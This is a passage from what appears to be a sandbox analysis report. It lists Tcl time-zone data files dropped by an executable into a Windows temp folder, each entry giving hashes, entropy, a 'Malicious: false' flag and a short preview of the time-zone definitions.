SHA-256:	D2858621DA914C3F853E399F0819BA05BDE68848E78F59695B84B2B83C1FDD2A
SHA-512:	7B354BB9370BB61EB0E801A1477815865FDE51E6EA43BF166A6B1EED127488CC25106DEE1C6C5DC1EF3E13E9819451E10AFBC0E189D3D3CDE8AFFA4334C77CA3
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Vancouver)]} {. LoadTimeZoneFile America/Vancouver.}.set TZData(:Canada/Pacific) $TZData(:America/Vancouver).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Canada\Saskatchewan

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.83938055689947
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0sAzE5YyVAIg20sAzEvYvW60nogS64IAcGEsAzEun:SlSWB9IZaM3y7hzipVAIgphzGCW60Hd9
MD5:	927FD3986F83A60C217A3006F65A3B0A
SHA1:	022D118024BFC5AE0922A1385288C3E4B41903DB
SHA-256:	BB457E954DB625A8606DD0F372DA9BFFAA01F774B4B82A2B1CEE2E969C15ABC3
SHA-512:	3EA932FA5416A9C817977F9D31C8A15C937A453B4D6A6409A7966E76D66A685C91F1117C82BEBEBA2AF5516556DA2BDEC898AD718C78FB8B690F31692174DA6C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Regina)]} {. LoadTimeZoneFile America/Regina.}.set TZData(:Canada/Saskatchewan) $TZData(:America/Regina).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Canada\Yukon

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	190
Entropy (8bit):	4.841592909599599
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0peR2pVkvFVAIg20peR2zxL0nTOK8x/h4IAcGEpeRu:SlSWB9IZaM3y7peR2fkvFVAIgppeR2FF
MD5:	9F2A7F0D8492F67F764F647638533C3F
SHA1:	3785DACD1645E0630649E411DC834E8A4FB7F40B
SHA-256:	F2A81B7E95D49CEC3C8952463B727129B4DC43D58ADC64BB7CAB642D3D191039
SHA-512:	0133870BB96851ECD486D55FD10EB4BCB1678772C1BFFADE85FC5644AC8445CDB4C6284BEFFED197E9386C9C6EF74F5F718F2CB43C4C7B8E65FE413C8EC51CD0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Whitehorse)]} {. LoadTimeZoneFile America/Whitehorse.}.set TZData(:Canada/Yukon) $TZData(:America/Whitehorse).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Chile\Continental

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	189
Entropy (8bit):	4.762021566751952
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0tfEJ5YyVAIg20tfEJvYvWAt0dKLRMyREGH/h4IAcB:SlSWB9IZaM3y7tfEJHVAIgptfEJAvN0+
MD5:	B2BDB6C027FF34D624EA8B992E5F41AB
SHA1:	425AB0D603C3F5810047A7DC8FD28FDF306CC2DB
SHA-256:	F2E3C1E88C5D165E1D38B0D2766D64AA4D2E6996DF1BE58DADC9C4FC4F503A2E
SHA-512:	6E5A8DC6F5D5F0218C37EE719441EBDC7EDED3708F8705A98AEF7E256C8DC5D82F4BF82C529282E01D8E6E669C4F843B143730AD9D8BBF43BCC98ECB65B52C9B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Santiago)]} {. LoadTimeZoneFile America/Santiago.}.set TZData(:Chile/Continental) $TZData(:America/Santiago).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Chile\EasterIsland

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.758503564906338
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqTQG7ZAJpVAIgObT7ZA6xL0bxOdBx/nUDH7ZAen:SlSWB9IZaM3ycJA3VAIgObJA6xL04dB4
MD5:	E9DF5E3D9E5E242A1B9C73D8F35C9911
SHA1:	9905EF3C1847CFF8156EC745779FCF0D920199B7
SHA-256:	AA305BEC168C0A5C8494B81114D69C61A0D3CF748995AF5CCC3E2591AC78C90C
SHA-512:	7707AC84D5C305F40A1713F1CBBED8A223553A5F989281CCDB278F0BD0D408E6FC9396D9FA0CCC82168248A30362D2D4B27EDEF36D9A3D70E286A5B668686FDE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Pacific/Easter)]} {. LoadTimeZoneFile Pacific/Easter.}.set TZData(:Chile/EasterIsland) $TZData(:Pacific/Easter).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Cuba

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	170
Entropy (8bit):	4.8073098952422395
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx02TEMVFwVAIg202TEKN0lIAcGE2TEMv:SlSWB9IZaM3y76EHVAIgp6EKN0l906Eu
MD5:	BA8EE8511A2013E791A3C50369488588
SHA1:	03BF30F56FB604480A9F5ECD8FB13E3CF82F4524
SHA-256:	2F9DFE275B62EFBCD5F72D6A13C6BB9AFD2F67FDDD8843013D128D55373CD677
SHA-512:	29C9E9F4B9679AFD688A90A605CFC1D7B86514C4966E2196A4A5D48D4F1CF16775DFBDF1C9793C3BDAA13B6986765531B2E11398EFE5662EEDA7B37110697832
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Havana)]} {. LoadTimeZoneFile America/Havana.}.set TZData(:Cuba) $TZData(:America/Havana).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\EET

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7189
Entropy (8bit):	3.6040923024580884
Encrypted:	false
SSDEEP:	96:WB8kMKVCy+Hk+PVqVaKl9sUM2kNU4tztagAwkY5V778e27zo2yiQ6kjmyykeP2lf:AroXPzh2kNU4tB715pyzHy1gA
MD5:	9AE4C7EC014649393D354B02DF00F8B9
SHA1:	D82195DEF49CFFEAB3791EA70E6D1BB8BC113155
SHA-256:	4CB6582052BE7784DD08CE7FD97ACC56234F07BCF80B69E57111A8F88454908E
SHA-512:	6F0C138AF98A4D4A1028487C29267088BD4C0EC9E7C1DB9818FA31A61C9584B67B3F5909C6E6FDB0F7183629E892A77BA97654D39FCE7DDEF6908F8146B7BE72
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:EET) {. {-9223372036854775808 7200 0 EET}. {228877200 10800 1 EEST}. {243997200 7200 0 EET}. {260326800 10800 1 EEST}. {276051600 7200 0 EET}. {291776400 10800 1 EEST}. {307501200 7200 0 EET}. {323830800 10800 1 EEST}. {338950800 7200 0 EET}. {354675600 10800 1 EEST}. {370400400 7200 0 EET}. {386125200 10800 1 EEST}. {401850000 7200 0 EET}. {417574800 10800 1 EEST}. {433299600 7200 0 EET}. {449024400 10800 1 EEST}. {465354000 7200 0 EET}. {481078800 10800 1 EEST}. {496803600 7200 0 EET}. {512528400 10800 1 EEST}. {528253200 7200 0 EET}. {543978000 10800 1 EEST}. {559702800 7200 0 EET}. {575427600 10800 1 EEST}. {591152400 7200 0 EET}. {606877200 10800 1 EEST}. {622602000 7200 0 EET}. {638326800 10800 1 EEST}. {654656400 7200 0 EET}. {670381200 10800 1 EEST}. {686106000 7200 0 EET}. {701830800 10800 1 EEST}. {717555600 7200 0 EET}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\EST

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	106
Entropy (8bit):	4.879680803636454
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yLWkXGm2OHLVvain:SlSWB9X5y2m2OHLViin
MD5:	33221E0807873CC5E16A55BF4450B6D4
SHA1:	A01FD9D1B8E554EE7A25473C2FBECA3B08B7FD02
SHA-256:	5AA7D9865554BCE546F1846935C5F68C9CA806B29B6A45765BA55E09B14363E4
SHA-512:	54A33B239BBFCFC645409FBC8D9DDBFCAE56067FA0427D0BE5F49CB32EB8EEC8E43FC22CE1C083FDC17DD8591BE9DB28A2D5006AFA473F10FB17EF2CE7AED305
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:EST) {. {-9223372036854775808 -18000 0 EST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\EST5EDT

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8227
Entropy (8bit):	3.723178863172678
Encrypted:	false
SSDEEP:	96:W4UwdaC3Xm8sHRwvOTFhP5S+ijFnRaJeaX1eyDt:Cwdrn+qvOTFhPI1jFIL
MD5:	1A7BDED5B0BADD36F76E1971562B3D3B
SHA1:	CF5BB82484C4522B178E25D14A42B3DBE02D987D
SHA-256:	AFD2F12E50370610EA61BA9DD3838129785DFDEE1EBCC4E37621B54A4CF2AE3F
SHA-512:	4803A906E2C18A2792BF812B8D26C936C71D8A9DD9E87F7DA06630978FCB5DE1094CD20458D37973AA9967D51B97F94A5785B7B15F807E526C13D018688F16D9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:EST5EDT) {. {-9223372036854775808 -18000 0 EST}. {-1633280400 -14400 1 EDT}. {-1615140000 -18000 0 EST}. {-1601830800 -14400 1 EDT}. {-1583690400 -18000 0 EST}. {-880218000 -14400 1 EWT}. {-769395600 -14400 1 EPT}. {-765396000 -18000 0 EST}. {-84387600 -14400 1 EDT}. {-68666400 -18000 0 EST}. {-52938000 -14400 1 EDT}. {-37216800 -18000 0 EST}. {-21488400 -14400 1 EDT}. {-5767200 -18000 0 EST}. {9961200 -14400 1 EDT}. {25682400 -18000 0 EST}. {41410800 -14400 1 EDT}. {57736800 -18000 0 EST}. {73465200 -14400 1 EDT}. {89186400 -18000 0 EST}. {104914800 -14400 1 EDT}. {120636000 -18000 0 EST}. {126687600 -14400 1 EDT}. {152085600 -18000 0 EST}. {162370800 -14400 1 EDT}. {183535200 -18000 0 EST}. {199263600 -14400 1 EDT}. {215589600 -18000 0 EST}. {230713200 -14400 1 EDT}. {247039200 -18000 0 EST}. {262767600 -14400 1 EDT}. {278488800 -180

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Egypt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	165
Entropy (8bit):	4.812476042768195
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsPHVyVAIgNGE7JW6yCh0DcPHv:SlSWB9IZaM3y7AVAIgNTFW6yg0DY
MD5:	3708D7ED7044DE74B8BE5EBD7314371B
SHA1:	5DDC75C6204D1A2A59C8441A8CAF609404472895
SHA-256:	07F4B09FA0A1D0BA63E17AD682CAD9535592B372815AB8FD4884ACD92EC3D434
SHA-512:	A8761601CD9B601E0CE8AC35B6C7F02A56B07DC8DE31DEB99F60CB3013DEAD900C74702031B5F5F9C2738BA48A8420603D46C3AE0E0C87D40B9D9D44CE0EAE81
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Cairo)]} {. LoadTimeZoneFile Africa/Cairo.}.set TZData(:Egypt) $TZData(:Africa/Cairo).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Eire

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	167
Entropy (8bit):	4.85316662399069
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxV5QH+owFVAIgoq6QH7W6yMQs/h8QanQHpn:SlSWB9IZaM3ymnQeowFVAIgonQbNyM/R
MD5:	AA0DEB998177EB5208C4D207D46ECCE3
SHA1:	DD8C7CE874EE12DD77F467B74A9C8FC74C7045FF
SHA-256:	16A42F07DE5233599866ECC1CBB1FC4CD4483AC64E286387A0EED1AFF919717D
SHA-512:	D93A66A62304D1732412CAAAB2F86CE5BCD07D07C1315714D81754827D5EFD30E36D06C0DC3CF4A8C86B750D7D6A144D609D05E241FADC7FF78D3DD2044E4CBB
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/Dublin)]} {. LoadTimeZoneFile Europe/Dublin.}.set TZData(:Eire) $TZData(:Europe/Dublin).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	105
Entropy (8bit):	4.883978227144926
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yRDMWkXGm2OHvDd:SlSWB9X5yRQCm2OHB
MD5:	94CDB0947C94E40D59CB9E56DB1FA435
SHA1:	B73907DAC08787D3859093E8F09828229EBAA6FD
SHA-256:	17AF31BD69C0048A0787BA588AD8641F1DC000A8C7AEC66386B0D9F80417ABBF
SHA-512:	5F47A2864F9036F3FD61FC65ED4969330DD2A1AC237CB2BD8E972DDFED75120D8D377D5C84060015DCFC163D03F384DC56DC8C6F29E65528C04F1FDA8BBC688E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Etc/GMT) {. {-9223372036854775808 0 0 GMT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT+0

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	154
Entropy (8bit):	4.862090278972909
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqSsM4DvFVAIgexvqtyRDOm7/8RDMvn:SlSWB9IZaM3yF4FVAIgJtyRSw8RQvn
MD5:	4AC2027A430A7343B74393C7FE1D6285
SHA1:	C675A91954EC82EB67E1B7FA4B0C0ED11AAF83DA
SHA-256:	01EEF5F81290DBA38366D8BEADAD156AAC40D049DBFA5B4D0E6A6A8641D798D1
SHA-512:	61943A348C4D133B0730EAA264A15EF37E0BBE2F767D87574801EAAA9A457DA48D854308B6ABADA21D33F4D498EB748BCB66964EB14BB8DC1367F77A803BA520
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Etc/GMT)]} {. LoadTimeZoneFile Etc/GMT.}.set TZData(:Etc/GMT+0) $TZData(:Etc/GMT).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT+1

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	4.981349705962426
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yRDOvedSXGm2OH1VnYAv:SlSWB9X5yRSvwJm2OH1VnYK
MD5:	ED439FA2D62624D9616CF1F87C850EA1
SHA1:	D0CF000B89433BF245BD58EB644067B37E108B42
SHA-256:	5E32300CC20CB5CE61BBEFA37D547F765F8B22D9085AD24FC2BA6358233BD0ED
SHA-512:	45D6B20C12FE921A2ACA7EB07792C2F7F4EC77279CF76AA8623F8DC23A306699DAB4920233D8597F7DF5661120F3AC555DBC6C5E72291C5277D102317BC7E008
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Etc/GMT+1) {. {-9223372036854775808 -3600 0 GMT+1}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT+10

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.95989422353511
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yRDOgFkXGm2OH1VyMVCC:SlSWB9X5yRS0m2OH1VyMh
MD5:	AA3C84567F89D180FA967A8E01ED8DB3
SHA1:	1B076494BFAAB46178EFC9602B4CF5E2A62BB6B1
SHA-256:	E6DA2EFC31F04D6C9DFC594D99B4499320D674B00F2A17401792CF663810BFB4
SHA-512:	0F101632AF981E53C0063B59A580034DE789DB4205EDCF7228CF510470AFDF9BFBE17B03C6A4EFA8E5C180F7869F3DE0AE97514D026772734624185B6E826D43
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Etc/GMT+10) {. {-9223372036854775808 -36000 0 GMT+10}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT+11

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.9977421504796204
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yRDOeLXGm2OHaFUYK:SlSWB9X5yRShm2OHaFUL
MD5:	F57A7F84AA6542BBBD7212461380D463
SHA1:	FD192ADF297C09F38312D668E2E2AB569F72544E
SHA-256:	008A6C934B494644990D6A01BA112AFF7C957112EA21276F959B28E3128CB7A6
SHA-512:	ADBC6F509C9745FFC511662D403FC0FABF87C01E2D0F03741D2B10CA1C434890F16F028B9D2D8A7397F156B0EC69438DD4C1A24F675BC113523D9D6DC444646A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Etc/GMT+11) {. {-9223372036854775808 -39600 0 GMT+11}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT+12

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.973993120288556
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yRDOK/kXGm2OH3FNYMXL:SlSWB9X5yRSKTm2OH3XYM7
MD5:	F2E06CB22EECFCFBF8E6A896CB93D70D
SHA1:	0D6759F9538F9CC7EC4799E80047279C5765FE8F
SHA-256:	3298FBCA6673EA9068CBE030FC6CE663615482C2691BC3FEF0D0C6DCD080749C
SHA-512:	7DEDC53220D6415AE0FE3422C8F2B40F808F8B1BF95DDE24849C1E9834ACD937FA4C702AD20F6D2BCD100CB4450B86FA7A2625F3A55A1B1A8CC4F39383212629
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Etc/GMT+12) {. {-9223372036854775808 -43200 0 GMT+12}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT+2

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	4.921571940456554
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yRDOcFwFFkXGm2OHnF6PCYv:SlSWB9X5yRS0wTm2OHnF6qYv
MD5:	194AF292B3A65A1391A5476B3811EB8E
SHA1:	5DF209458579985955747400645FFBD0E06F2CAE
SHA-256:	56E4205B1BA0C815A557405A270D0A776D1DBC617B493BF7560884358EC694E4
SHA-512:	C2DC980D11604732EB51367008D591C66FB9A8576392A948928CE2C86F6CE7836EA1BDCB2B9F9CF5A1711DA0D6E5AB3E08C433B4D3BA01E68106013A0AE14ED5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Etc/GMT+2) {. {-9223372036854775808 -7200 0 GMT+2}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT+3

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.9509374397671495
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yRDOCcXGm2OHBFV9bv:SlSWB9X5yRSCTm2OHBFHL
MD5:	F42335C352D791F43042817F35D00440
SHA1:	7FFD4B1795F2274C4D8B9F0D67E85717149CF548
SHA-256:	C204EBC932DDB49E52B644E1E477037F180453FA46FF580288848845871CDFA0
SHA-512:	7E4CF5DE538989958779517FE6B13F378F2F5AF26742FA6E835E91A3AF379DBAFACB9588CD76E0922E5239D829E73FE26ECA81E46E9661C945A88E150F152A79
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Etc/GMT+3) {. {-9223372036854775808 -10800 0 GMT+3}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT+4

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.971905505780861
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yRDOqLXGm2OHBv6CCn:SlSWB9X5yRStm2OHBrCn
MD5:	7877557A521A40EEC80EFCA08BE5A297
SHA1:	78060A958658A89BA77D30D0B07EF2ABBF1AFFC7
SHA-256:	9F05B6BDEF3FEF571368024CC6FCDEB64327EF9037CE1C4293BBE73569020DBF
SHA-512:	B58375FADC724DC8E639B74B7148D1BEC34622D56781A4C08780DF375C9579898E9FA2FECF5D87835A645A82037425A8015347632EAAFC77429D63A4C7AC2BB4
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Etc/GMT+4) {. {-9223372036854775808 -14400 0 GMT+4}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT+5

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.958435272857266
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yRDOEkXGm2OHLVvYIYKn:SlSWB9X5yRSQm2OHLVgIYKn
MD5:	D0DD197A220CA142CA7301E96949B8BA
SHA1:	F194CD411BDD88BC6DBA4ECE766400A5DB1E9C94
SHA-256:	C917E4106DCC23C56FC9152CF8F4ACDEB4C2B20D8CF5D1952CB4580669D23CF7
SHA-512:	78F08ECE3A378F6B482631A0CB12CAAEB632E21C3B4667E72AC452FBF534F7141D0E642EBF5211143847AE817086610C51957CE0B50DF7840CAF614EE79E4CCE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Etc/GMT+5) {. {-9223372036854775808 -18000 0 GMT+5}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT+6

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.975103119610687
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yRDOAkEXGm2OHvTYLn:SlSWB9X5yRSbLm2OHvon
MD5:	2F009759072B1C9618B8B341B5C1BA30
SHA1:	1312EF4DBEEB3C14F63946E0D4C85B2F19FB9475
SHA-256:	9569BAEF38EBB61AB03FBCB21A7DAECDA6B8AD78E04A070487A9284B90912FA7
SHA-512:	04F954F682361C78BA7F049ADE56695DBAB73F280240FF94085E7A7CF936C5A5B8C4817FA72F24C5E0F4D2D83F199CCEC05AC2AD2D694FBF0E2B3863E87012FB
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Etc/GMT+6) {. {-9223372036854775808 -21600 0 GMT+6}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT+7

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.929319953392498
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yRDONedFkXGm2OHrXVyKCCn:SlSWB9X5yRSNwJm2OHrIKCCn
MD5:	76B1E98F1A44D82BB4774A33AD3939CD
SHA1:	92ACB2E264A7ADBF1D11AEFE0835812CEEBAB4E2
SHA-256:	E89A30F5F06A4D125A5FE01582D5BD2A9E8560606051E9CAE371080036DCDA51
SHA-512:	11DC75995DB895B881EAACB448831AD06EF17CBCD98979205AA183E0A77E22EE7227E44F03C0BA8A4C517F2983D71AB3B8029D07D7D6F8230A78A4F3112B6C5C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Etc/GMT+7) {. {-9223372036854775808 -25200 0 GMT+7}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT+8

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.914606655117358
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yRDOOFwFSXGm2OHmFv2L:SlSWB9X5yRSqwTm2OHa6
MD5:	49805E413F1C268385B6B3F7BA5C86F3
SHA1:	6AF7D03B95AAB61E3C178E0834865FE9DC6F7C84
SHA-256:	F92A34D7C091DC889A850266F98DA61A7355CF9F5C1D7A3E928D9735E5471C37
SHA-512:	E4B2357395876CD716E28C2C565108E5F7A329DB487C1E6BE9F42FAF1E9F6394AF27A79FC4263C2FA0D5D530898361C3EF94011C92EFA45CCCA5FEBB71439828
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Etc/GMT+8) {. {-9223372036854775808 -28800 0 GMT+8}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT+9

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.957559259961566
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yRDOwcXGm2OHNXYvC:SlSWB9X5yRSwTm2OHNXYvC
MD5:	027D08D52DB32055C8428EF85747392C
SHA1:	28C3AAEC73B42AEFB9A0122B4EAA613609F4F307
SHA-256:	55D9AF430A84E0CA6C859ED54D8401F06BC84EE7F2D096315AF9BE100A0BCFCF
SHA-512:	CDA1B2F4E865420EA7E48BA25ABE712C976434729E3D9F843D41CFBA57CD563202ED0E5E6BC2F10AB457921F6DB2C374CBFA6C8753C2D913B7AC35944C362986
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Etc/GMT+9) {. {-9223372036854775808 -32400 0 GMT+9}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT-0

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	154
Entropy (8bit):	4.849103265985896
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqSsM4DvFVAIgexvqtyRDIyHp8RDMvn:SlSWB9IZaM3yF4FVAIgJtyRUyJ8RQvn
MD5:	FA608B6E2F9D0E64D2DF81B277D40E35
SHA1:	55A7735ACCF6A759D2069388B2943323E23EE56D
SHA-256:	48A929080C1E7C901246DC83A7A7F87396EAF9D982659460BF33A85B4C3FAE64
SHA-512:	35A8899B7084E85165886B07B6DD553745558EAF4297F702829A08BF71E5AA18790F0D02229093FA42515C97A1DDA7292F4D019DDB1251370D9896E94738D32A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Etc/GMT)]} {. LoadTimeZoneFile Etc/GMT.}.set TZData(:Etc/GMT-0) $TZData(:Etc/GMT).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT-1

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.940990471370115
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx5yRDI4cXGm2OHMXCC:SlSWB9X5yRU4Tm2OH+CC
MD5:	35191A690478566C32EFFB89C932CA1A
SHA1:	BBECD25C5CD4C57D4852FF81916BFDB578F525FC
SHA-256:	E4C16621152E4D169D54B9BDF7EB620D42AA13271B7871BA2A84474C9CD57CDC
SHA-512:	C885AA33781930B743AB905228D7C62D4902BA40187C9C885742A0930368112F341B26458CF15F8BEFE8784A55F09B33AF2153516108487E4B9405FCF7ECD425
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Etc/GMT-1) {. {-9223372036854775808 3600 0 GMT-1}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Etc\GMT-10

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
